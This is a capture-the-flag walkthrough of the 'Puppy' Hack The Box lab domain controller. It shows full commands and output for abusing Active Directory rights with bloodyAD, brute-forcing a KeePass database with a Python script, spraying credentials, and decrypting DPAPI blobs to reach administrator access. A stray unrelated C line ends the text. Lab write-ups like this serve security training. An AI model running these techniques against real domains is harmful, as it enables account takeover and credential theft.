RECON

Creds

As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-05-18 08:34:20Z)
111/tcp   open  rpcbind       syn-ack 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
2049/tcp  open  nlockmgr      syn-ack 1-4 (RPC #100021)
3260/tcp  open  iscsi?        syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         syn-ack Microsoft Windows RPC
61525/tcp open  msrpc         syn-ack Microsoft Windows RPC
64387/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 9261/tcp): CLEAN (Timeout)
|   Check 2 (port 46171/tcp): CLEAN (Timeout)
|   Check 3 (port 26137/udp): CLEAN (Timeout)
|   Check 4 (port 14441/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2025-05-18T08:36:26
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 6h59m58s

Domain Information

  • Domain Name: PUPPY.HTB
  • Host: DC

Except common ports and services on an Active Directory, we see 2 file sharing entrances:

  • SMB (port 445) - the standard Windows file sharing service.
  • NFS (port 2049) - uncommon on Windows hosts, the presence of NFS indicates either:
    • A UNIX subsystem or hybrid setup (e.g., WSL2 or Docker for Windows with shared volumes).
    • Or a misconfiguration where Linux-origin configurations were ported insecurely.

The exploitation on an NFS service on Windows is introduced on the previous Scepter writeup — but it's not used in this exploit.

SMB

Use the spider_plus mode of Netexec to list all readable files on SMB with initial credentials for the domain user levi.james:

$ nxc smb puppy.htb -u 'levi.james' -p 'KingofAkron2025!' -M spider_plus

SMB         10.129.212.148  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.212.148  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SPIDER_PLUS 10.129.212.148  445    DC               [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.212.148  445    DC               [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.129.212.148  445    DC               [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.212.148  445    DC               [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.212.148  445    DC               [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.212.148  445    DC               [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.212.148  445    DC               [*]  OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus
SMB         10.129.212.148  445    DC               [*] Enumerated shares
SMB         10.129.212.148  445    DC               Share           Permissions     Remark
SMB         10.129.212.148  445    DC               -----           -----------     ------
SMB         10.129.212.148  445    DC               ADMIN$                          Remote Admin
SMB         10.129.212.148  445    DC               C$                              Default share
SMB         10.129.212.148  445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.129.212.148  445    DC               IPC$            READ            Remote IPC
SMB         10.129.212.148  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.212.148  445    DC               SYSVOL          READ            Logon server share
SPIDER_PLUS 10.129.212.148  445    DC               [+] Saved share-file metadata to "/tmp/nxc_hosted/nxc_spider_plus/10.129.212.148.json".
SPIDER_PLUS 10.129.212.148  445    DC               [*] SMB Shares:           6 (ADMIN$, C$, DEV, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.129.212.148  445    DC               [*] SMB Readable Shares:  3 (IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.129.212.148  445    DC               [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.129.212.148  445    DC               [*] Total folders found:  27
SPIDER_PLUS 10.129.212.148  445    DC               [*] Total files found:    10
SPIDER_PLUS 10.129.212.148  445    DC               [*] File size average:    1.05 KB
SPIDER_PLUS 10.129.212.148  445    DC               [*] File size min:        0 B
SPIDER_PLUS 10.129.212.148  445    DC               [*] File size max:        4.28 KB

Notably, three shares were accessible:

  • NETLOGON and SYSVOL, commonly used in Active Directory for script delivery and policy configuration, were both readable — but usually not helpful.
  • A custom share named DEV was identified. Though no read permission was shown for levi,james in the current context, which is marked with a custom context (DEV-SHARE for PUPPY-DEVS).

Although the enticing DEV share denies access to our current foothold:

$ smbclient //puppy.htb/DEV -U 'PUPPY.HTB\\levi.james'

Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [levi.james]:

Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

This suggests our path forward may lie in compromising roles tied to PUPPY-DEVS—likely the gatekeepers to the sensitive loot buried within.

BloodHound 1

Execute bloodhound-python to gather domain reconnaissance:

Bash
bloodhound-python -u 'levi.james' -p 'KingofAkron2025!' -d 'puppy.htb' -ns $target_ip --zip -c All -dc 'dc.puppy.htb'

Once the ZIP is generated, feed it into BloodHound for graph analysis.

Right out of the gate, the result exposes a clean-cut outbound object control path:

htb_puppy_1

levi.james is a member of the HR group, which has GenericWrite rights over the DEVELOPERS group.

While BloodHound reveals a handful of other compelling attack vectors, we'll unravel those threads as they become tactically relevant.

USER

SMB Access

We've identified that access to the elusive DEV share is gated behind membership in the PUPPY-DEVS group. While levi.james isn't on the guest list, he's armed with GenericWrite privileges over the DEVELOPERS group.

To confirm the group's current roster, we interrogate the domain controller with bloodyAD:

Bash
bloodyAD --host $target_ip -d 'puppy.htb' \
      		-u 'levi.james' -p 'KingofAkron2025!' \
      		get object 'DEVELOPERS'

The result reveals:

member: 
  CN=Jamie S. Williams,...
  CN=Adam D. Silver,...
  CN=Anthony J. Edwards,...

No sign of levi.james—but that's irrelevant. With GenericWrite dangling in our hands via the HR group, we can rewrite the guest list ourselves.

GenericWrite

Since HR holds GenericWrite over DEVELOPERS, and levi.james lives within HR, we hijack the trust chain and slip levi.james into the DEVELOPERS group without resistance.

Execute the group injection via bloodyAD's add groupMember module:

Bash
bloodyAD --host $target_ip -d 'puppy.htb' \
      		-u 'levi.james' -p 'KingofAkron2025!' \
      		add groupMember 'DEVELOPERS' 'levi.james'

As a result:

htb_puppy_4

With membership established, the gates to the DEV share swing open:

htb_puppy_5

That .kdbx file and .msi are likely very juicy.

KDBX

A .kdbx file is a KeePass password database, used primarily by KeePass 2.x and KeePassXC—well-known open-source tools for securely storing credentials.

To retrieve the remote kdbx file from the DEV share, we can execute:

Bash
smbclient //puppy.htb/DEV -U 'PUPPY.HTB\\levi.james' -c 'get recovery.kdbx'

Once retrieved, we try to inspect it using keepass2john:

$ file recovery.kdbx
recovery.kdbx: Keepass password database 2.x KDBX

$ keepass2john recovery.kdbx > hash.txt
! recovery.kdbx : File version '40000' is currently not supported!

This error indicates that keepass2john (from John the Ripper) does not support KDBX v4 (file version 40000), which is the current format used by modern KeePassXC versions (like the one in the share: 2.7.9).

So we can try another module that supports KDBX v4 — pykeepass.

To handle this, we pivot to a compatible tool: pykeepass, which supports KDBX v4.

After installing it via:

Bash
pip install pykeepass

We create a short brute-force script to attempt decryption with a wordlist:

Python
#!/usr/bin/env python3 

from pykeepass import PyKeePass
from pykeepass.exceptions import CredentialsError
import sys

KDBX_FILE = 'recovery.kdbx'
WORDLIST = '/home/Axura/wordlists/rockyou.txt'

try:
    with open(WORDLIST, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            password = line.strip()
            try:
                kp = PyKeePass(KDBX_FILE, password=password)
                print(f'\n[+] Success! Password found: {password}')
                print('[+] Dumping entries:\n')
                for entry in kp.entries:
                    print(f' - {entry.title}: {entry.username} / {entry.password}')
                break
            except CredentialsError:
                continue
except FileNotFoundError:
    print(f'[!] File not found: {WORDLIST}')
    sys.exit(1)

And jackpot:

$ python bf-keepass.py

[+] Success! Password found: liverpool
[+] Dumping entries:

- JAMIE WILLIAMSON: None / JamieLove2025!
- ADAM SILVER: None / HJKL2025!
- ANTONY C. EDWARDS: None / Antman2025!
- STEVE TUCKER: None / Steve2025!
- SAMUEL BLAKE: None / ILY2025!

The password liverpool unlocks the database, and five credentials drop into our lap.

KeePass entries may lack explicit usernames, defaulting to None. Based on naming conventions, we can assume domain usernames like jamie.williamson, adam.silver, antony.edwards, according to the known levi.james format.

We create a combo file for validation:

jamie.williamson:JamieLove2025!
adam.silver:HJKL2025!
antony.edwards:Antman2025!
steve.tucker:Steve2025!
samuel.blake:ILY2025!

And spray them against the domain:

Bash
while IFS=: read -r user pass; do
  echo "[*] Testing $user:$pass"
  nxc smb puppy.htb -u "$user" -p "$pass"
done < creds.txt

Unfortunately, none of the pairs authenticate successfully via SMB or LDAP:

htb_puppy_6

Either the usernames are misaligned with AD, the accounts are stale or disabled, or we're staring at a decoy credential cache meant to slow us down.

BloodHound 2

Time to zoom out and refocus. Our BloodHound graph reveals that the DEVELOPERS group originally includes three members:

htb_puppy_2

Among them, adam.silver stands out—he's a member of the REMOTE MANAGEMENT group, which grants remote access to the domain controller:

htb_puppy_3

That's our access vector. But there's a catch—his account is currently disabled:

htb_puppy_10

The other two—ant.edwards and jamie.williams—are still active. Digging deeper, we find that ant.edwards is a member of a privileged group, SENIOR DEVS:

htb_puppy_11

Which has GenricAll rights back on the target adam.silver:

htb_puppy_12

And here's the twist: SENIOR DEVS holds GenericAll rights over adam.silver—a direct privilege chain. That means ant.edwards can fully control adam.silver, including re-enabling the account, resetting the password, and turning our next move into a remote shell on the DC.

Privesc

Therefore, our exploitation path begins with the working credentials ant.edwards / Antman2025!—not the earlier misfire, antony.edwards:

htb_puppy_13

userAccountControl

Armed with GenericAll over adam.silver, we leverage bloodyAD's get object to inspect the current state of the account:

Bash
bloodyAD --host $target_ip -d 'puppy.htb' \
      		-u 'ant.edwards' -p 'Antman2025!' \
      		get object 'adam.silver' 

The result confirms our suspicion:

userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

The attribute userAccountControl is a bitmask—a numeric flag set defining user properties. In our case:

  • 514512 (NORMAL_ACCOUNT) + 2 (ACCOUNTDISABLE)

To flip the account back to life, we simply need to rewrite that flag:

  • Set userAccountControl512 to drop the disabled bit.

This sets the stage for full account takeover.

GenericAll

To overwrite the target attribute, we deploy bloodyAD once more—this time with the set object module:

Bash
bloodyAD --host $target_ip -d 'puppy.htb' \
      		-u 'ant.edwards' -p 'Antman2025!' \
      		set object 'adam.silver' 'userAccountControl' \
      		-v 512

Then we can re-test the target account admin.silver:

htb_puppy_14

Why? The account is re-enabled, but the original password was either changed or invalidated:

htb_puppy_15

So we take control fully—resetting the password ourselves:

Bash
bloodyAD --host $target_ip -d 'puppy.htb' \
      		-u 'ant.edwards' -p 'Antman2025!' \
      		set password 'adam.silver' 'DummyP@ssw0rd'

With a fresh password injected, we pivot into the target system:

htb_puppy_16

Foothold gained. And with it—the user flag is ours.

ROOT

Internal Enum

Poking around C:\, we stumble across a promising stash—Backups:

*Evil-WinRM* PS C:> ls
Directory: C:\
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2025  10:48 AM                Backups
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---          4/4/2025   3:40 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-----          3/8/2025   9:00 AM                StorageReports
d-r---          3/8/2025   8:52 AM                Users
d-----         5/13/2025   4:40 PM                Windows

Inside it, a ZIP archive quietly waits:

*Evil-WinRM* PS C:> ls backups
Directory: C:\backups
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip

*Evil-WinRM* PS C:\> download "backups\site-backup-2024-12-30.zip"
Info: Downloading C:\\backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
Progress: 23% : |▓▒░░░░░░░░|

File exfiltrated.

Site Backup

Cracking open the archive reveals an backed up ldap-config.xml file. Jackpot. Inside:

XML
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

Credentials in cleartext—chef's kiss.

We test the pair steph.cooper / ChefSteph2025! against WinRM:

$ nxc winrm puppy.htb -u 'steph.cooper' -p 'ChefSteph2025!'

WINRM       10.129.212.148  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.129.212.148  5985   DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)

And we're in:

htb_puppy_17

BloodHound 3

With a new user under our control, we throw steph.cooper into the recon machine:

Bash
bloodhound-python -u 'steph.cooper' -p 'ChefSteph2025!' -d 'puppy.htb' -ns $target_ip --zip -c All -dc 'dc.puppy.htb'

While the graph shows no immediate privilege escalation paths, our search does surface a related account:

htb_puppy_18

steph.cooper_adm — same name, elevated power from the Administrators group:

htb_puppy_19

DPAPI

With no direct escalation path from steph.cooper to her elevated twin steph.cooper_adm, we shift tactics—pivoting into a local post-exploitation technique that hits where it hurts: DPAPI.

Data Protection API (DPAPI) is used by Windows to encrypt secrets (credentials, tokens, browser data, etc.) using either:

  • The user's logon password (via their derived DPAPI master key)
  • Or domain-based backup keys (in roaming or enterprise scenarios)

Enumerate

With the methodology introduced before, we can inspect the default paths for Windows DPAPI credential blobs stored under the user's profile:

PowerShell
# Credentials
Get-ChildItem "C:\Users\<username>\AppData\Roaming\Microsoft\Credentials" -Force -Recurse | Format-List

# Protect
Get-ChildItem "C:\Users\<username>\AppData\Roaming\Microsoft\Protect" -Force -Recurse | Format-List

As a result:

*Evil-WinRM* PS C:> Get-ChildItem "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials" -Force -Recurse | Format-List
    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
Name           : C8D69EBE9A43E9DEBF6B5FBD48B521B9
Length         : 414
CreationTime   : 3/8/2025 7:53:53 AM
LastWriteTime  : 3/8/2025 7:54:29 AM
LastAccessTime : 3/8/2025 7:54:29 AM
Mode           : -a-hs-
LinkType       :
Target         : {}
VersionInfo    : File:             C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
                 InternalName:
                 OriginalFilename:
                 FileVersion:
                 FileDescription:
                 Product:
                 ProductVersion:
                 Debug:            False
                 Patched:          False
                 PreRelease:       False
                 PrivateBuild:     False
                 SpecialBuild:     False
                 Language:

*Evil-WinRM* PS C:> Get-ChildItem "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect" -Force -Recurse | Format-List
    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect
Name           : S-1-5-21-1487982659-1829050783-2281216199-1107
CreationTime   : 2/23/2025 2:36:06 PM
LastWriteTime  : 2/23/2025 2:36:06 PM
LastAccessTime : 2/23/2025 2:36:06 PM
Mode           : d---s-
LinkType       :
Target         : {}

[...]

    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107

Name           : 556a2412-1275-4ccf-b721-e6a0b4f90407
Length         : 740
CreationTime   : 2/23/2025 2:36:06 PM
LastWriteTime  : 3/8/2025 7:40:36 AM
LastAccessTime : 3/8/2025 7:40:36 AM
Mode           : -a-hs-
LinkType       :
Target         : {}
VersionInfo    : File:             C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
                 InternalName:
                 OriginalFilename:
                 FileVersion:
                 FileDescription:
                 Product:
                 ProductVersion:
                 Debug:            False
                 Patched:          False
                 PreRelease:       False
                 PrivateBuild:     False
                 SpecialBuild:     False
                 Language:

Name           : Preferred
Length         : 24
CreationTime   : 2/23/2025 2:36:06 PM
LastWriteTime  : 2/23/2025 2:36:06 PM
LastAccessTime : 2/23/2025 2:36:06 PM
Mode           : -a-hs-
LinkType       :
Target         : {}
VersionInfo    : File:             C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\Preferred
                 InternalName:
                 OriginalFilename:
                 FileVersion:
                 FileDescription:
                 Product:
                 ProductVersion:
                 Debug:            False
                 Patched:          False
                 PreRelease:       False
                 PrivateBuild:     False
                 SpecialBuild:     False
                 Language:

📂 Key Artifacts Found:

  1. %APPDATA%\Microsoft\Credentials\
    • Files like: C8D69EBE9A43E9DEBF6B5FBD48B521B9
    • These are encrypted DPAPI credential blobs (e.g., saved credentials for apps, browsers, or Windows services).
  2. %APPDATA%\Microsoft\Protect\
    • This contains a user-specific DPAPI master key storage for user step.cooper — with user SID S-1-5-21-1487982659-1829050783-2281216199-1107.
    • Inside this folder is the DPAPI master key file, which is used to decrypt other DPAPI-protected items (like browser credentials, saved logins, etc.):
      • 556a2412-1275-4ccf-b721-e6a0b4f90407 is the masterkey file — contains the encrypted DPAPI master key
      • Preferred points to the current masterkey in use (not always needed if we know the key file)

Therefore, we are going to extract the master key and then use it to decrypt the DPAPI credential blob.

Download

First we will need to download the blob and masterkey to our local machine.

However, direct download will fail:

*Evil-WinRM* PS C:\> download "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9"

Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9

Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError

This is a known bug in Evil-WinRM when trying to download files from hidden/system-protected locations, which I also mentioned in the Vintage writeup here.

There we also introduced a small trick to bypass:

PowerShell
cmd.exe /c 'attrib -s -h "C:\Users\steph.cooper\AppData\Roaming\Microsoft\*" /s'

This just remove System and Hidden attributes from all files under the path (recursively).

Now we can safely download both the blob and master key in Evil-winrm:

*Evil-WinRM* PS C:\> download "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9"

Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9

Info: Download successful!


*Evil-WinRM* PS C:\> download "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407"

Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 to 556a2412-1275-4ccf-b721-e6a0b4f90407
Progress: 100% : |▓▓▓▓▓▓▓▓▓▒|

Crack

Impacket | dpapi.py

The exploit path would then be a copy-paste from the Vintage writeup using dpapi.py from Impacket toolkit.

we can decrypt the found master key with step.cooper's SID and password':

Bash
dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
    		-sid S-1-5-21-1487982659-1829050783-2281216199-1107 \
    		-password 'ChefSteph2025!'

As a result:

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

Then we can decrypt the credential blob using the unlocked key of hex format:

Bash
dpapi.py credential -file "C8D69EBE9A43E9DEBF6B5FBD48B521B9" \
    		-key "0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84"

We successfully decrypt the password for step.cooper_adm:

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description :
Unknown     :
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

WinRm

Login as steph.cooper_adm, who turns out to be the local administrator:

htb_puppy_20

Rooted.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)